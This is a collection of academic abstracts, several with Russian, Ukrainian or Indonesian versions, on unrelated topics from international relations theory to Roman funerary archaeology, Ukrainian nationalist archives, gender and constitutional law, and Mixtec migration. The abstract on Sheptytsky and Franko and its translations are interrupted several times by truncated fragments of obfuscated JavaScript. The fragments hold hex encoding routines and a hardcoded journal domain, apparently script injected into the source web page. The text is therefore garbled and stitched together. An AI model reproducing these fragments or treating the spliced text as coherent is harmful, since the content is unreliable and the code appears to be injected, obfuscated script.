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The term lateral pressure refers to any tendency (or propensity) of states, firms, and other entities to expand their activities and exert influence and control beyond their established boundaries, whether for economic, political, military, scientific, religious, or other purposes. Framed by Robert C. North and Nazli Choucri, the theory addresses the sources and consequences of such a tendency. This chapter presents the core features—assumptions, logic, core variables, and dynamics—and summarizes the quantitative work undertaken to date. Some aspects of the theory analysis are more readily quantifiable than others. Some are consistent with conventional theory in international relations. Others are based on insights and evidence from other areas of knowledge, thus departing from tradition in potentially significant ways. Initially applied to the causes of war, the theory focuses on the question of: Who does what, when, how, and with what consequences? The causal logic in lateral pressure theory runs from the internal drivers (i.e., the master variables that shape the profiles of states) through the intervening variables (i.e., aggregated and articulated demands given prevailing capabilities), and the outcomes often generate added complexities. To the extent that states expand their activities outside territorial boundaries, driven by a wide range of capabilities and motivations, they are likely to encounter other states similarly engaged. The intersection among spheres of influence is the first step in complex dynamics that lead to hostilities, escalation, and eventually conflict and violence. The quantitative analysis of lateral pressure theory consists of six distinct phases. The first phase began with a large-scale, cross- national, multiple equation econometric investigation of the 45 years leading to World War I, followed by a system of simultaneous equations representing conflict dynamics among competing powers in the post–World War II era. The second phase is a detailed econometric analysis of Japan over the span of more than a century and two World Wars. The third phase of lateral pressure involves system dynamics modeling of growth and expansion of states from 1970s to the end of the 20th century and explores the use of fuzzy logic in this process. The fourth phase focuses on the state-based sources of anthropogenic greenhouse gases to endogenize the natural environment in the study of international relations. The fifth phase presents a detailed ontology of the driving variables shaping lateral pressure and their critical constituents in order to (a) frame their interconnections, (b) capture knowledge on sustainable development, (c) create knowledge management methods for the search, retrieval, and use of knowledge on sustainable development and (d) examine the use of visualization techniques for knowledge display and analysis. The sixth, and most recent, phase of lateral pressure theory and empirical analysis examines the new realities created by the construction of cyberspace and interactions with the traditional international order. ; This material is based on work supported by the MIT Political Science Department & U.S. Department of Defense. Any opinions, findings, conclusions or recommendations therein are those of the author(s) and do not necessarily reflect the views of the U.S. Department of Defense.

En este trabajo se analiza de una manera pormenorizada todas las evidencias funerarias del extremo occidental de !a provincia Baetica desde una nueva perspectiva metodológica con el fin de revalorizar el mundo de las necrópolis como elemento de representatividad social, indisolublemente unida a las coyunturas ecónomicas, políticas y sociales experimentadas en tres ámbitos culturales completamente diferentes como el urbano,el costero y el rural, Este trabajo de investigación ha pretendido complementar los resultados ya obtenidos hasta el momento para el fenómeno de la romanización, al considerar que el mundo funerario es una parcela clave a la hora de rastrear la progresiva transformación que experimentó la sociedad desde e! triunfo del mundo romano sobre el cartaginés, hasta la imposición del cristianismo y el mundo visigodo, dado que las necrópolis representan ei verdadero pulso de la población, al ser los rituales funerarios y las tipologías sepulcrales las mejores vías para dar rienda suelta a sus ideologías, creencias, sentimientos, miedos, deseos, aspiraciones, etc. Y es que de la misma manera que una sociedad no es estática, ya que se ve sometida a constantes cambios políticos, económicos y administrativos, los rituales funerarios se fueron adaptando en mayor o menor medida a cada uno de esas transformaciones, siendo precisamente esta realidad la que marcará el desarrollo de nuestra hipótesis de partida, al tener que analizar cómo el Impero romano supo adaptar e imponerse a los postulados socio-económicos, políticos y religiosos existentes en la ciudad de Onoba y su terrítorium a su llegada, modificándolos o modelándolos en el tiempo en función de los diferentes lazos culturales mantenidos, y la llegada de nuevas creencias. ; Huelva's University studies made about the territorial implantation and urban evolution in Baeticefs Southwest, have led us to consider that to get a complete knowledge about different aspects that agree the historical roman reality, we need to develop an exhaustive study about necropolis, because beginning from funeral rituals found, we could go beyond from the cultural entity born after the contact between the autochthonous population and the first colonists, as well as the later diachronical evolution, towards the political, economic, social and religious junctures generated in the cities to which these necropolis belonged. In this respect, we cannot overlook that funerary studies have lived submitted to a constant marginality, as being considered like independent sites without contact with the experimented junctures. In fact, it has been forgotten the concept that Romans had of their own necropolis, understanding them as an undivided element of their city's concept, reflecting from them the rhythm and the variations of the Empire evolution. The project's justification is based on the need to approach, from a new perspective, to funerary evidences of Baeticds Southwest, basically Huelva's province. A new perspective that revalue the necropolis' world as a social representative element, indissolubly joined to the economic, political and social junctures experienced both in the urban and in the rural area. This will be in order to get a new explanatory speech that promotes the research, conservation and putting into value of these remains.

The problem of fairness in the context of the dialogue between A. Sheptytskyy and S. Franko is studied in the research. Metropolitan`s points of view upon the issue of fairness in the aspect of the Law of the God, human natural rights, moral and conscience and the points of view of I Franko from social democratic opinion are analyzed. Metropolitan`s thoughts are based on the ideas of Thomas Aquinas. The very idea of fairness is essential for the God and appears itself in that the one gains what belongs to him. A. Sheptytskyy realized the impossibility of solving it through the social revolutions. It only can be solved through the conscience of the human being. I. Franko stood upon the particulary understanding of fairness and defined it from the position of masses populairis, not from the positions of society integral body. The phenomenon of fairness is proved to be complex and to have religious, philosophic, moral, social, political dimensions// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "vestnikzgia.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e ; В статье исследована проблема справедливости в контексте диалога между Митрополитом Андреем Шептицким и Иваном Франком. Проанализированы взгляды Митрополита на проблему справедливости с позиции Закона Божего, природных прав человека, морали и совести и И. Франка с социал-демократической позиции. Обосновано, что феномен справедливости многогранный, имеет религиозное, философское, моральное, социально-политическое измерение// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "vestnikzgia.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "vestnikzgia.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e ; У статті досліджено проблему справедливості в контексті діалогу між Митрополитом Андреєм Шептицьким та Іваном Франком. Проаналізовано погляди Митрополита на проблему справедливості з позиції Закону Божого, природних прав людини, моралі та совісті й І. Франка із соціал-демократичної позиції. Доведено, що феномен справедливості багатогранний, має релігійні, філософські, моральні,соціально-політичні виміри// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "vestnikzgia.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

In the article there analyzes the factors and conditions of the Maritime industrie's development in Ukraine in the context of socio-cultural development of Maritime regions. The Sectoral and the interdisciplinary research are covered by the implementation's practical aspects of sociological-methodological research of community and professional losses of the «special» marine areas — «A man of the sea» in ukrainian sociological space. There is substantiated the necessity of the comprehensive study of formation's factors and factors of productive activity by the modern specialist of the Maritime industry and the effective use of such knowledge in social projects and practices in the context of development's prospects of Ukraine as the Maritime community. In terms of existing of the blurred sociological objective and subjective criteria of its dynamics is relevant the use of sociological approaches in subdiscipline based on studying of subjective mechanisms of formation and feedback effects of the mental factor «sea» in the mind of «man of the sea» on the factors anthropo — and sociocultural development in regions. The analysis of the functioning of the object indicates the necessity of considering influences of social factors of a global nature (information and globalization changes) reflected in social stereotypes, purely anthropological, psychological and political origin (ethno-cultural, mental, religious, ideological, etc.). The extension of the object and subject of sociological consideration towards the specifications of the «social» element requires the use of socio-scientific principle of tracking the relationship of the manifestations of human activity in a social context of the social development of the organism as a whole system. The proposed perspective of the study allows us to consider regional marine social subcultures within an appropriate of the sociological subdiscipline, without limiting the directions of the Genesis of the investigated object and subject connections. Social characteristics of the «man of the sea» received thanks to the «Maritime sociology» from a structural and dynamic point of the view, the interaction of the different sides, levels, subsystems allow us to bring this knowledge to the solution of problems of social institutions (education, family, etc), social communities (territorial communities, socio-professional categories), social processes (integration or disintegration), and cross-cultural processes and use them effectively in social projects and practices. ; В статье анализируются факторы и условия развития морской отрасли Украины в контексте социокультурного развития морских регионов. На материалах отраслевых и междисциплинарных исследований освещаются практические аспекты имплементации социологической методологии исследований сообществ и профессиональных страт «особых» морских районов — «человека моря» в украинском социологическом пространстве. Обосновывается необходимость комплексного исследования факторов формирования и продуктивной деятельности современного специалиста морской отрасли и использования такого знания в социальных проектах и практиках в контексте перспектив развития Украины как морского сообщества. ; В статті аналізуються чинники й умови розвитку морської галузі України в контексті соціокультурного розвитку морських регіонів. На матеріалах галузевих й міждисциплінарних досліджень висвітлюються практичні аспекти імплементації соціологічної методології досліджень спільнот і профес ійних страт «особливих» морських районів — «людини моря» в укра- їнському соціологічному просторі. Обґрунтовується потреба комплексного дослідження чинників формування й продуктивної діяльності сучасного фахівця морської галузі та ефективного використання такого знання в соц іальних проектах і практиках в контексті перспектив розвитку України як морської спільноти.

In the archive of the OUN in Kiev are stored documents of a single OUN until 1940. and after the split of the organization – documents of the OUN under the leadership of Andrij Melnyk. In the interwar period there was a Department of the OUN in Germany, which was led by Rico Yary (Carpath), and in Berlin, worked the Nationalist Press Service headed by Orest Chemerinsky (Yaroslav Orshan). The active involvement of Ukrainian nationalists in the Ukrainian National Association (UNO) in Germany, they actually made up the leadership of the UNO and the editor of the press organ of UNO «Ukrainskij Visnyk» («Ukrainian Herald»). Archive documents containing information about the Ukrainian community in Germany, are directly related to the organization of Ukrainian nationalists. First of all, the correspondence of eminent persons of the OUN, which discussed various aspects of Ukrainian life in interwar Germany, the attitude of the OUN to the various Ukrainian political parties and organizations that operated in this area, problems in the activities of the OUN in Germany. Germany occupied an important place in the Yevhen Konovalets activities, the Leader of the Ukrainian nationalists, who for 7 years (1923–1930) lived in Berlin. In this city he held meetings with Ukrainian and foreign public and political figures, in 1933 in Berlin the Conference of the OUN with representatives of the Regional Executive of the OUN in Western Ukraine took place. In addition to information on the history of the OUN, these documents contain mention about the famous Ukrainian state, military and political figures, about the cultural life of the Ukrainian emigre community in Germany, religious life, material living conditions. ; В Архіві ОУН у Києві зберігаються документи єдиної ОУН до 1940 р., а після розколу організації – документи ОУН під проводом Андрія Мельника.В міжвоєнний період було створено відділ ОУН в Німеччині, який очолював Ріко Ярий (Карпат), в Берліні працювала Націоналістична пресова служба на чолі з Орестом Че-меринським (Ярослав Оршан). Активну участь брали українські націоналісти і в засну-ванні та роботі Українського національного об'єднання (УНО) в Німеччині, вони факти-чно складали керівництво УНО і редакцію пресового органу УНО «Українського Вісника».Документи архіву, що містять інформацію про тогочасну українську громаду в Німе-ччині, мають безпосереднє відношення до Організації українських націоналістів. Переду-сім, це листування чільних діячів ОУН, в якому обговорювалися ті чи інші аспекти украї-нського життя в міжвоєнній Німеччині, ставлення ОУН до різних українських політичних партій та організацій, що діяли на цьому терені, проблеми діяльності осередків ОУН в Німеччині. Німеччина посідала важливе місце в діяльності Голови Проводу українських націоналістів Євгена Коновальця, який протягом 7 років (1923 -1930) жив в Берліні. В цьому місті він проводив зустрічі з українськими та закордонними державними і полі-тичними діячами, в 1933 р. в Берліні була скликана Конференція ОУН з представниками Крайової екзекутиви ОУН на західноукраїнських землях.Крім інформації з історії ОУН в цих документах містяться згадки про відомих україн-ських державних, військових і політичних діячів, про культурні події з життя української емігрантської громади в Німеччині, релігійне життя, про матеріально-побутові умови

The formal recognition of gender, as a category of public law, has swept the world. In a time of rapid legal change, in both new constitutions and old, the public law of gender – and the contested norm of gender equality – is being constituted, legislated and regulated. Of 194 written constitutions around the world, almost all guarantee equality in express terms; almost two thirds entrench equality or non-discrimination guarantees on the basis of sex, and almost one third make express reference to gender. Measures to ensure the equal participation of women and men in political and public decision-making have been introduced in 100 states, and constitutionally entrenched in 15. 189 of 197 member states of the UN are states parties to CEDAW. This volume includes the perspectives of constitutional, administrative and international lawyers, as well as historians, ethnographers, and political scientists, to critically analyze these apparent accomplishments. We ask – has this widespread legal reform led to real change? Women, in particular, continue to experience an array of gender-based disadvantage and harms: persistent and well-documented vulnerability to violence, including sexual violence, insecurity, and poverty; circumscribed access to education, property and credit; workplace disadvantage and harassment; greater involvement in reproductive, household and care work, without material recognition; and a continued inability to access the political forums and public laws in which these problems have often been sidelined or misunderstood. While these problems may seem intractable for different reasons: culture, ideology, power, political economy – it is clear that law continues to constitute, or insulate, these various effects. Thus it is critical to understand and critique the operation of formal law as one aspect of the continuing gap between the advocacy of gender equality and its substantive achievement. This introduction brings international and constitutional law together to analyze the features of this gap in terms of enforcement, sincerity, and coverage. First, just as international law exists famously without a centralized enforcement mechanism, so too does domestic constitutional law lack the guarantee of enforcement, even in systems with judicial review. Secondly, treaties, especially the foundational human rights covenants of which CEDAW is part, have always attracted the criticism of 'window-dressing', as states are free to ratify treaties without making any reforms in domestic law. A similar criticism has been made about the phenomenon of 'sham constitutions'. Thirdly, both international law and constitutional law carve out a number of exceptions of application, which have a significant impact on gender. Most prominent in the gap in coverage is the public/private distinction, in which both international and public law are, in the main, concerned only with the regulation of the public sphere. Through reserving particular areas of law from constitutional reach, such as religious personal laws or customary law or private law more generally, the application of public law has limited effect to challenge gendered disadvantage in the very spheres in which it is most heavily experienced and perpetuated. This volume extends enforcement, sincerity and coverage rationales in public and international law to give greater attention to their application to gender.

This project documents and analyzes changing notions of masculinities in the Mixtec transnational community San Jerónimo Progreso. San Jerónimo is a small Mixtec speaking agencia municipal (town) in the municipality of Silacayoapan, and Region Mixteca of western Oaxaca, Mexico. Despite the town's fragmented appearance (the majority people from San Jerónimo now live permanently outside of the town) San Jerónimo is by all accounts a transnational community; its members recreate their sense of community and belonging to the town across the borders and boundaries of nation-states. San Jerónimo's families are now primarily located in two satellite communities: Tijuana, Baja California, Mexico and the small farming towns of the San Joaquin Valley, California, in the United States. This dissertation demonstrates how transnational migration and the development of households across the U.S. and Mexico borders have impacted and modified indigenous masculinities as they are constituted in the context of San Jerónimo's usos y costumbres (uses and customs, including customary law). In telling the stories and experiences of San Jerónimenses (people from San Jerónimo Progreso), I explore indigenous masculinities as an outcome and expression of culture and ever-changing socio-cultural, political and economic contexts of their usos y costumbres. This dissertation explores how usos y costumbres, as socio-cultural practices and customary law, continue to impact men's sense of self. In Oaxaca, the referent of usos y costumbres (now sistemas normativos internos) is used to describe a broad gamut of socio-cultural practices often associated with indigenous communities. Many these practices, or costumbres, are pre-Hispanic but some originated with the Spanish Conquest of the Americas. These socio-cultural practices include the system of civic-religious posts called cargos (burdens), which are often the most cited and researched example of usos y costumbres. At times, usos y costumbres is very much about an indigenous community's socio-cultural practices, but in other situations the term can take on more formal definitions associated with a community's unwritten and uncodified customary laws or social rules. I consider how transnational migration has resulted in a growing number of men and women who no longer find many aspects of usos y costumbres important to their sense of self. These individuals are most visible amongst San Jerónimo's non-Catholic Christians, who live predominantly in Central California. I explore how masculinities have or have not changed amongst these non-Catholics as they continue to take part in San Jerónimo's transnational community. This dissertation is the result of multi-sited and transnational ethnographic research gathered over the course of several years, beginning in 2011 and ending in the summer of 2015. I contextualize indigenous masculinities within these new transnational settings, and demonstrate how socio-cultural, political, and economic environments impact and at times reinforce people's attitudes, practices, norms and values towards gendered identities. Although this dissertation examines masculinities, it is not just about men. This dissertation is also about indigenous families and their continuous efforts, despite tremendous hardships, to recreate a sense of community in an era marked by continuous political and economic change.

The Arab minority in Israel is in the process of socio-cultural transformation, its force rising and splitting the society. Modernization, the Arab society undergoes, is influenced by the constant contacts with the Jewish nation representing in its majority the western culture, the other influencing factors being technologies and mass media. Some changes affect the society in a positive way, whereas the global uncontrollable ones can bring about the system crisis and the full split of society. In order to retain the integrity it is necessary to control this process on the level of basic elements of cultural awareness by nurturing both cultural and moral values within the framework of educational system. One of the main functions of educational system is the man's adaptation in society including its cultural aspect; and the upbringing process should be performed in the context of belonging to cultural and national values. Well-balanced organic system of education combining cardinal, national and religious values can facilitate harmonious personal growth, and affect the society in a positive way. However, the Arab educational system in Israel faces some challenges in the course of implementing the value nurturing programs. They include the lack of political initiative and control over the educational system development performed by the Arabs; and the absence of the definite and steady value system that can be given to the growing generation by means of school education. To overcome the problem the author recommends developing and implementing a special training program focused on the value component development, as the students might have difficulty getting by in the real world without it ; Арабское меньшинство в Израиле находится в процессе социокультурной трансформации, центробежная сила которой неуклонно нарастает. Находясь в постоянном контакте с еврейским населением, большинство представителей которого являются носителями западной культуры, а также под влиянием технологий и средств массовой информации, арабское общество интенсивно подвергается модернизации, которая воздействует на все уровни социальной системы, активизирует весьма противоречивые процессы в обществе и увеличивает его разнородность. Некоторые изменения позитивно сказываются на социуме, обновляя его, однако глобальные неконтролируемые перемены могут разрешиться системным кризисом, итогом которого может стать полный раскол общества. Чтобы сохранить целостность общества, необходимо стабилизировать данный процесс на уровне базовых элементов культурного сознания – путем формирования культурных и нравственных ценностей в системе образования. Одной из основных функций образовательной системы является адаптация человека в обществе, в том числе и культурная. Процесс воспитания детей в образовательных учреждениях должен проходить в контексте принадлежности к национальным и культурным ценностям. Сбалансированная, органичная система образования, в которой разумно сочетаются кардинальные, национальные и религиозные ценности, может способствовать гармоничному формированию личности учащегося и одновременно позитивно влиять на общество в целом. Однако арабская система образования в Израиле сталкивается с определенными сложностями реализации программ воспитания ценностей. К ним относятся отсутствие политической инициативы, контроля развития системы образования со стороны самих арабов, определенной и устойчивой ценностной системы, которую можно было бы передать следующему поколению посредством школьного образования. Автор статьи видит выход в разработке и внедрении в учебный процесс специальной программы развития ценностного компонента, без которого учащимся будет тяжело ориентироваться в окружающем мире

Abstract During the era of Reformasi the face of Indonesian politics was marked by, among other things, the kindling in a number of regions of the formalizing of Islamic law through regional bylaws, and in other areas through public policy. Efforts to achieve this started at the third level, that is at the level of regulating aspects of religious services and worship, going beyond Islamic family and economic law, and this was also the case with formalizing shariah law at national level.Despite the positive impacts of thissuch as improved security, seen from the perspective of the rights of non-Muslims the implementation of regional Islamic regulations or public policy is a threat, in part because of its positioning as something that may trigger the violation of non-Muslim rights. Examples of this are freedom of worship, freedom to establish schools, the right to take positions of leadership and inter-faith marriage. Moreover, parts of this implementation directly infringe the rights of non-Muslims, such as the obligation to wear a veil. From the Islamic legal perspective, shariah bylaws or regulation have also crossed the boundaries of traditional shariah law, particularly in the requirement to wear a veil and in freedom of worship. Shariah bylaws are a close reflection of traditional Islamic law. Because of this, the shariah law already embodied in regional legislation must be reinterpreted to make it something of benefit to people, providing a sound footing for accomodating such contemporary demands as basic human rights. In any case, the shariah that becomes formalised in bylaws should be progressive and modern, and this is the shariah law that needs to be publicised and supported. Key Words: shariah bylaws,dzimmî, mainstream, hudîûd, khalwat, jizyah, ahl al-kitâb, takwil,and istishlâh. --- Abstak Selama era reformasi, wajah perpolitikan Indonesia ditandai dengan adanya, antara lain, menjamurnya jumlah daerah-daerah yang memberlakukan hukum Islam melalui peraturan daerah, melalui kebijakan publik.Usaha untuk memeroleh hal ini dilakukan dengan tiga tingkatan, yaitu pada tingkat pemberlakuan aspek-aspek keagamaan, pelayanan dan peribadatan, kemudian berlanjut pada masalah hukum ekonomi dan keluarga islami, dan hal ini juga menjadi masalah pemberlakuan hukum syariah pada tingkat nasional.Meskipun dampak positif semacam ini dapat meningkatkan keamanan, ditinjau dari perspektif hak-hak non-muslim terhadap pemberlakuan peraturan daerah atau kebijakan publik menjadi sebuah ancaman, dikarenakan posisinya sebagai sesuatu yang bisa memicu pelanggaran hak-hak non-muslim. Contohnya adalah kebebasan beribadah, kebebasan medirikan sekolah, hak untuk mengambil alih kepemimpinan dan perkawinan beda keyakinan. Di samping itu, sebagian dari implementasi ini dapat berpengaruh pada pelanggaran hak-hak non-muslim, misalnya kewajiban untuk memakai jilbab. Dari perspektif hukum Islam, hukum/peraturan syariah telah melanggar batas hukum syariah tradisional, khususnya dalam mewajibkan penggunaan jilbab dan kebebasan beribadah.Perda syariah merupakan refleksi hukum islam klasik. Hal ini dikarenakan hukum islam mencakup peraturan daerah yang harus ditafsirkan untuk memberikan manfaat bagi masyarakat, dengan menampung aspirasi suara bawah. Keywords: shariah bylaws,dzimmî, mainstream, hudîûd, khalwat, jizyah, ahl al-kitâb, takwil,and istishlâh.

This thesis has undertaken an in-depth analysis of the Hizmet movement in Australia which involves two case studies the 'Australian Intercultural Society' [AIS] and 'Affinity Intercultural Foundation' [AIF] organisations inspired by a Turkish Islamic scholar Fethullah Gülen (1941-). These organisations were established by Gülen's followers in 2000 and 2001 respectively in Australia. Focusing on interfaith/ cultural encounters in Australia, the study examines the role of the Hizmet movement's dialogical encounters with non-Muslim communities. Drawing on social, historical and theological resources, the thesis studies in detail the development of the movement, its establishment in terms of activities, projects and the dialogical encounters of the movement and try to analyse if and to what extent its activities and projects contribute towards social capital and the formation of trust and reciprocity between the affiliates and the wider society. It endeavours to understand in the local sense what the movement is trying to achieve, how has this process been established, if there are repercussions of the critics in the local context, how has this effected the movement and how have they responded. In order to analyse the social/ civic encounters of the Hizmet movement, the Australian Bureau of Statistics (ABS) Social Capital Theory and Framework has been adopted to evaluate whether or not the Hizmet movement contributes towards social cohesion and social resilience in Australia. This study takes its theoretical impetus from social sciences with semi structured interviews with research participants in social events organised by the AIS and AIF as a case study of the organisations. The study is based on Putnam's hypothesis that an active civil society can create social capital, cooperation over ethnic, religious, and other divisions, inclusiveness, and open debate which is conductive to peace and harmony between sections of society. The thesis tests this hypothesis on the Hizmet Movement case and tries to address these questions: In what ways has the Hizmet movement in Melbourne and Sydney, via the educational and dialogical services and through the AIS and AIF, contributed towards social cohesion and social resilience in Australia? The theoretical framework of this study has adopted a holistic perspective of the social capital theory. The data obtained from fieldwork forms the basis of a textual analysis that has been interpreted to gain insights into understanding the contributions of the Hizmet movement in Australia. The empirical perspective highlights and evaluates perceptions, attitudes and actions to understand the norms of the movement, and the disparity between their representations of the activism and its perception by others. The study brings to light the purposive collective altruism of the affiliates of the movement that are a result of public deliberations about various aspects of social issues in society. This they believe are what motivates the affiliates to serve to raise public awareness on social justice issues to facilitate a more 'informed', 'educated' and 'cohesive public', which in turn develop 'self-esteem' for supporting and contributing to the host society in matters of 'democracy', 'freedoms' and the 'rule of law'. Finally, the case study of the AIS and AIF has proposed the role of interfaith/ cultural dialogue in building understanding, resilience and social cohesion in Australia.

The aim of this project was to enable visual communication designers and young European citizens to reflect on how societal narrative and meaning can be communicated via a shared visual literacy, by exploring signs, symbols and semiotics inherent in our ancient shared European heritage of the Linear A and Linear B scripts. The reason for using the ancient scripts was the premise that they would act as a 'neutral' but relevant visual and semantic content basis from which to explore visual and written meaning making in contemporary society. Archaeology can grant us access to our history by allowing us encounters with remnants of the past. How these remnants are translated for us, read by us and what we believe that they tell us, is intimately tied up with the context of our own contemporary culture. This makes any interaction with history also a potential interaction with the present and future. Any 'reading' of the past, is also a reflection of our presence (Gamble 2001)(Gere 2009) (Hayden1993). Archaeological research into the scripts from a semiotic perspective and into Linear B's administrative function is particularly relevant to this research, because it highlights potential points of similarity with contemporary conceptions of citizenship. Linear B in particular offers clues to social, political and economic structures of the pre-historic society, and includes ideograms for slaves, religious offerings, domestic animals and commodities amongst many others (Chadwick 1987). The aim was to use these elements to provide a starting point for reflection on contemporary European societal narratives. How visual discourses of European identities are constructed is rarely discussed even in Design Schools. How can we ever develop a (multi)-cultural sense of belonging and a notion of European citizenship, when the majority of political and media generated messages we receive accentuate our differences and bemoan our co-dependency? International branding has made us very competent in receiving messages communicated through visuals, but if the messages and their intended meaning have not been reflected upon and critically analysed, we may not be conscious of how, and to what ends, our emotions and behaviors are being influenced (Ollins 2003). Whilst we may be seemingly united in the consumption of international brands, identifying and understanding their brand values without much effort or inhibition by our individual and diverse, cultural backgrounds (Klein 2003), it is often the sub-conscious nature of how visual language is 'read' that can also make it less likely to be critically analysed and reflected upon (Crow 2003). If visual literacy can be successful exploited for uniting disparate cultural groups for commercial purposes, then visual communication design should, in principle, also be able to facilitate the co-creation of visual language that can help us to explore, understand and propose values of European citizenship that transcend local political and media manipulation (Kress 2010). The aim is to involve young people in discussions about how aspects of historical visual literacy can be critically examined and re-designed in the context of contemporary forms of communication and reflections on citizenship and European identities.

В научной литературе явно недостает работ с теоретическим и философско-правовым осмыслением конституции и конституционного развития. Монография С.Ф. Ударцева «Конституция и эволюция общества (вопросы теории и философии права)» (СПб.: Университетский издательский консорциум, 2015. 388 с.) посвященна именно этим аспектам конституционной эволюции. В рецензируемой работе рассмотрен поиск основ права в истории человечества, этимология термина «конституция». Благодаря творческому использованию метода восхождения от абстрактного к конкретному, в монографии представлена аргументированная, теоретически многоплановая картина эволюции конституции в контексте периодов развития и стагнации человеческой цивилизации, показано место основного закона в механизмах экономического и политического развития. Конституция интерпретируется как основа и одновременно вершина национальной правовой системы, соединяющая ее с международным правом. Воздействие конституции на общественно-политическую и социально-экономическую жизнь общества представлено как в плоскости ее непосредственно регулятивного действия, так и в плане ее идеологического влияния через современные ей формы политического, правового, морального и религиозного сознания. Показаны механизмы их обратного воздействия на формирующиеся и действующие конституции. Отмечается внимание в книге к общим тенденциям и перспективам политического и правового развития и роли в этом процессе конституции. Глобализация неизбежно втягивает в лоно развитой цивилизации страны и народы, находящиеся на разных стадиях развития, с объективной необходимостью обусловливая возникновение наднациональных, планетарных регулятивных инструментов, в числе которых достойное место должно занять планетарное право, имеющее идеологические и нормативные предпосылки в современном мировом сообществе. ; There are a few works in scientific writings that contain theoretical and philosophical-legal comprehension of the constitution and the constitutional development. The article includes the analysis and the value of fundamental theoretical deductions contained in the monograph "Constitution and evolution of a society (issues of theory and legal philosophy)" written by S.F. Udartsev (Saint-Petersburg: Universitetskii izdatel'skii konsortsium, 2015. 388 p.). It is dedicated specially to the aforementioned aspects of the constitutional evolution. The work under review observes the search for basis of law in the human history and etymology of a term «constitution». Due to the fruitful using the method of moving from the abstract to the concrete the monograph presents a proved, theoretically multidimensional picture of evolution of the constitution during the stages of development and stagnation of the human civilization. It shows the place of the basic law in mechanisms of economical and political development. The constitution is interpreted as a basis as well as apex of the national legal system that connects it with the international law. The impact of the constitution on the social-political and social-economical life is presented by its regulative activity as well as ideological influence through contemporary forms of political, legal, moral and religious consciousness. The work shows its back influence on the forming and acting constitutions. It marks general tendencies and perspectives of political and legal development and the role of the constitution in this process. Globalization contributes to including of whole countries and peoples into space of the developed civilization and this is accompanied by appearance of supranational, planetary regulative tools. One of the latter shall be planetary law that already has some ideological and legal background in the modern world society.

Современная уголовно-правовая политика осуществляется в условиях социально-неоднородного общества, в сложной системе бытовых, национально-этнических, культурно-религиозных и иных отношений. Учет исторического опыта предупреждения и борьбы с преступностью в процессе обозначенной деятельности необходим. В статье проанализированы факторы и особенности становления системы профилактики преступности на примере развития положений о юридической ответственности у инородцев Восточной Сибири в первой половине XIX в. Выявлены основные формы реализации правосознания у этносов Восточной Сибири имперского периода с учетом политико-правовой интеграции коренного народонаселения в условиях действия автохтонной шаманско-культовой традиции и практики как базиса формирования социокультурного пространства. Изучены отдельные положения Свода Степных законов для инородцев Восточной Сибири 1822 г., Устава об управлении инородцев 1822 г. и Устава о предупреждении и пресечении преступлений 1857 г. Обосновывается тезис о наличии у субъектов имперского и губернского правотворчества осознания важности защиты имперского правопорядка и профилактики преступности. На основе исследования правосознания, обычно-правовых норм, положений имперского (регионального) законодательства и сложившейся практики применительно к инородцам Восточной Сибири выявлена специфика мер юридической ответственности рассматриваемого периода, характерные черты механизма их реализации, а также ряд иных положений, свидетельствующих о сравнительно-высоком уровне и предметной направленности источников права в обстановке переплетения публичных интересов разных уровней. Сделан вывод о наличии реальных исторических предпосылок формирования отечественной системы предупреждения преступности, учитывающих различные аспекты жизнедеятельности коренных народов и народностей Восточной Сибири. ; The modern crime policy is conducted in an environment of unequal societies and complex national, ethnical, cultural, religious etc. relations; therefore, strategies for its implementation should take into consideration a historical experience in the sphere of the crime combating and prevention. This paper addresses factors and features of the crime prevention system formation using the example of the legal liability development of indigenous dwellers of Eastern Siberia in the first half of the 19th century. Political and legal integration of native tribes was performed under the umbrella of local shamanic religion traditions that served as a basis for formation of the sociocultural space. Taking this fact into account, we established basic ways of forming legal rights awareness by the ethnic groups of Eastern Siberia in Imperial Russia. We examined selected provisions of «The Code of Steppe Laws for the Nomadic Tribes of Eastern Siberia» (1822), «The Code of the Indigenous Administration» (1822), and «The Code of Criminal and Corrective Punishments» (1857). It is argued that the subjects of imperial and provincial law-making recognized the importance of the imperial justice administration and crime prevention. Based on the investigation of the legal awareness, customary legal norms, imperial and provincial legislative provisions as well as established practices in relation to indigenous dwellers of Eastern Siberia, the main features of legal liability and specifics of its implementation mechanisms during the period covered were identified. Certain findings also attest to the relatively high level of the legal sources in an environment of intertwined public interests. The research showed that there exists a real historical background for the national crime prevention system to incorporate various aspects of life of the ethnic groups and indigenous tribes of Eastern Siberia.

Abstract: Usually state policy demonstrates a motivational disposition of citizenship focused on modern constitutional values; precise level of citizens' legal self-consciousness; geopolitical, social and economic, demographic development of society and its particular place on the international arena.In this paper I analyze merely the concept of nationality, its essence and legal nature, main modes of the acquisition of nationality. Specifically here the author tries to justify right of option and transfer of citizenship being related to acquisition of nationality based on state succession and territorial changes, however, till now there are a lot of discussions on this issue in order to determine possible strong ideological baggage, package of rights and duties and full membership in a state (features of citizenship) from everyday and personal complexity of social interaction (features of self-identity).During last century concepts of citizenship and nodes of it acquisition were very popular especially among sociologists (D. Beland, L. Jamieson, T. H. Marshall, S. Sassen, Ch. Tilly and B. S. Turner). In majority they concentrated on issues of self-awareness, self-definition and self-consciousness because those features help to discover self-identity as a fundamental concept of selfhood. During the last 10 years a lot of scientists worldwide (D. Abraham, R. Bauboeck, S. Carrera, G.-R. De Groot, J. Habermas, Ch. Joppke, W. Kymlicka, M. La Torre, H. Schneider, A. Shachar, J. Shaw, 